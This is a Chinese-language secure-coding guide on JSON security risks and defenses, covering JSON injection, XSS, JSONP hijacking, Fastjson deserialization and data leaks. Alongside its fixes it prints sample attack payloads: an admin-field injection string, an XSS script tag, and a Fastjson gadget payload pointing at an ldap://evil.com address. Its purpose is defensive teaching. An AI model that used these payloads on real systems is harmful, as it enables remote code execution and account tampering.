JSON 安全指南:XSS、注入攻击与防护
JSON 虽然是一种简单的数据格式,但使用不当也会带来安全风险。本文详细分析 JSON 相关的安全威胁和防护措施。
常见 JSON 安全威胁
1. JSON 注入攻击
当 JSON 数据直接拼接到响应中时,攻击者可以注入恶意内容。
// ❌ 危险:直接拼接
String json = "{\"name\":\"" + userInput + "\"}";
// 如果 userInput 是:\"},{\"admin\":true,\"
// 结果:{"name":"","admin":true,""} —— 注入成功!
防护方案:
// ✅ 安全:使用 JSON 库自动转义
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(Map.of("name", userInput));
2. XSS 攻击
将 JSON 数据直接插入 HTML 页面可能导致 XSS。
<!-- ❌ 危险 -->
<script>
var data = JSON.parse('{"name":"<script>alert(1)</script>"}');
document.getElementById('name').innerHTML = data.name;
</script>
<!-- ✅ 安全 -->
<script>
var data = JSON.parse('{"name":"<script>alert(1)<\/script>"}');
document.getElementById('name').textContent = data.name;
</script>
3. JSONP 劫持
JSONP(JSON with Padding)是早期的跨域方案,存在安全风险。
// JSONP 响应
callback({"name": "张三", "email": "zhangsan@example.com"});
// 恶意网站可以拦截这个响应
防护方案:
- 使用 CORS 替代 JSONP
- 验证 Referer 头
- 使用 CSRF Token
4. JSON 反序列化漏洞
Java 中的 JSON 反序列化可能导致远程代码执行。
// ❌ 危险:Fastjson 1.x 自动类型识别
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://evil.com/a\",\"autoCommit\":true}";
// ✅ 安全:禁用自动类型识别
ParserConfig.getGlobalInstance().setSafeMode(true);
5. 敏感数据泄露
JSON 响应可能包含敏感信息。
// ❌ 危险:返回了密码和内部 ID
{
"id": 1,
"name": "张三",
"password": "123456",
"internalId": "abc123"
}
// ✅ 安全:只返回必要字段
{
"id": 1,
"name": "张三"
}
JSON 安全最佳实践
1. 始终使用 JSON 库
不要手动拼接 JSON 字符串,使用 Jackson、Gson 等库自动处理转义。
2. 输入校验
// 使用 JSON Schema 校验输入
JsonSchema schema = JsonSchemaFactory.getInstance().getSchema(schemaNode);
Set<ValidationMessage> errors = schema.validate(inputNode);
if (!errors.isEmpty()) {
throw new ValidationException(errors);
}
3. 输出编码
在 HTML 中使用 JSON 时,确保正确编码:
// 使用 textContent 而不是 innerHTML
element.textContent = data.name;
// 或者使用模板引擎的自动转义
4. 限制响应数据
// 使用 DTO 限制返回字段
public class UserDTO {
private String name;
// 不包含 password、internalId 等敏感字段
}
5. HTTPS 传输
所有 JSON API 都应该使用 HTTPS 加密传输。
6. Content-Type 设置
// API 响应设置正确的 Content-Type
response.setContentType("application/json; charset=UTF-8");
// 防止浏览器嗅探
response.setHeader("X-Content-Type-Options", "nosniff");
安全检查清单
- [ ] 使用 JSON 库序列化/反序列化
- [ ] 禁用自动类型识别(Fastjson)
- [ ] 校验所有 JSON 输入
- [ ] 使用 DTO 过滤敏感字段
- [ ] 启用 HTTPS
- [ ] 设置正确的 Content-Type
- [ ] 使用 CORS 替代 JSONP
- [ ] 定期更新 JSON 库版本
总结
JSON 安全的核心原则:永远不要信任用户输入,始终使用成熟的 JSON 库处理数据。 通过输入校验、输出编码、敏感数据过滤等措施,可以有效防范 JSON 相关的安全威胁。